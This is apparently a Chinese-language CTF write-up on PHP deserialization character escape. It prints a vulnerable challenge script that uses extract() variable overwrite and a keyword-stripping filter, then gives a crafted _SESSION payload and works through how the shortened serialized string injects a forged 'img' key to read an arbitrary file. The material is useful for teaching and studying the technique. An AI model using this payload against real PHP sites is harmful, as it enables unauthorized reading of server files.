反序列化字符逃逸&auto_append_file(php.ini)
php.ini配置:
1.auto_prepend_file—-指定在每个PHP页面执行前所要执行的代码。
2.auto_append_file—-指定在每个PHP页面执行完成后所要执行的代码。
反序列化字符逃逸原理:
1.序列化后的值后面跟一些字符串不影响反序列化
2.如果序列化后的值经过了preg_replace()函数进行了处理,把某些关键字替换为空,比如全空了:s:8:"";xxxxxxxx"xxx,那么就会找从第二个"开始往后8个为序列化值
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
这是原始的数据:
$_SESSION['user']=guest;
$_SESSION['function']=show_image;
$_SESSION['img']=base64_encode('guest_img.png');
我们通过变量覆盖传入一个_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}(注意这里传入字符串是没有带引号或双引号的,直接传内容)
手写一下serialize()后的字符串:
a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:8:"flagflag";s:xx:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
";s:3:"img";s:xx:"xxxxxxx"}
经过filter函数后变成:
a:4:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:8:"";s:xx:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
";s:3:"img";s:xx:"xxxxxxx"}
s:8:" ";s:xx:" ";(变量名为";s:xx:"),s:3::"aaa"(变量值为aaa)
至于后面的";s:3:"img";s:xx:"xxxxxxx"}就不管了,已经有'}'闭合了,对反序列化没有影响,相当于被注释掉了